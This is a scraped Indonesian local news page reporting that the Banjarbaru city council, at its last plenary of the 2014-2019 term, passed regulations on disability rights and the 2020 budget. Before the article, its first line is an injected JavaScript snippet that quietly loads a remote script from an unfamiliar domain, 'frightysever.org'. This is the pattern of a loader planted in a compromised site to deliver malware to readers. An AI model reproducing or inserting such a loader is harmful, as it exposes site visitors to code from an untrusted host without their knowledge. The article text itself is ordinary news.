(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, DPRD Banjarbaru menggelar rapat paripurna terakhir di masa kerja 2014-2019, Selasa (1/10) siang. Rapat kali ini beragendakan pengambilan keputusan terhadap dua Rancangan Peraturan Daerah (Raperda) Kota Banjarbaru menjadi Peraturam Daerah (Perda).
Dipimpin langsung Ketua DPRD Banjarbaru, H AR Iwansyah didampingi Wakil Ketua, Wartono, rapat kali ini dihadiri Walikota Banjarbaru Nadjmi Adhani bersama Wakil Walikota Banjarbaru Darmawan Jaya Setiawan.
Adapun dua Raperda yang telah disahkan menjadi Perda adalah Raperda Perlindungan dan Pemenuhan Hak Disabilitas, serta Raperda APBD Tahun Anggaran 2020.
Menurut Ketua DPRD Banjarbaru, pengambilan keputusan terkait Raperda Perlindungan dan Pemenuhan Hak Penyandang Disabilitas merupakan kado terbaik dari anggota DPRD Banjarbaru periode 2014-2019.
“Perda ini merupakan inisiatif dari kami -DPRD Banjarbaru-. Dari Rapeda ini kita ingin menegaskan bahwa prinsipnya para penyandang disabilitas mempunyai hak yang sama dengan warga negara yang normal lainnya tanpa kecacatan fisik,†kata Iwansyah.
Dirinya juga bersyukur, di akhir masa kepemimpinannya, DPRD Banjarbaru tidak mempunyai utang Perda yang tertinggal. Tercatat, selama lima tahun periode bertugas, DPRD Banjarbaru telah menyelesaikan 79 Reperda menjadi Perda.
“Saya memberikan penghormatan dan apresiasi atas kinerja kawan-kawan Anggota Dewan. Hal ini juga menunjukkan kualitas dan pencapaian hasil kinerja para anggota dewan,†terangnya.
Ia mengharapkan, anggota DPRD Banjarbaru periode 2019-2024 yang akan dilantik pada Kamis (9/10) nanti, bisa mencontoh kualitas dan kinerja para Anggota Dewan sebelumnya ini. Serta bisa lebih baik lagi dalam menjalankan amanat masyarakat Kota Banjarbaru.
Sementara itu Walikota Banjarbaru, Nadjmi Adhani mengaku cukup berkesan dengan Rapat Paripurna terakhir periode 2014-2019 ini. Menurutnya pengesahan dua Raperda kali ini juga merupakan kado indah bagi masyarakat Kota Banjarbaru.
“Kami juga bersyukur Kota Banjarbaru duluan menyelesaikan Perda APBD 2020, ini merupakan momentum yang berkesan. Kami juga mengapresiasi di penghujung waktu periode, dua Perda sudah disahkan,†ujarnya.
Terkait Perda APBD tahun anggaran 2020, Nadjmi menjelaskan, anggaran banyak alokasikan untuk mensukseskan agenda Pilkada Kota Banjarbaru. (rico)
Pemilik Ternak Diminta Datang ke Kantor Satpol PP Banjarbaru Read More
KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More
KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More
This website uses cookies.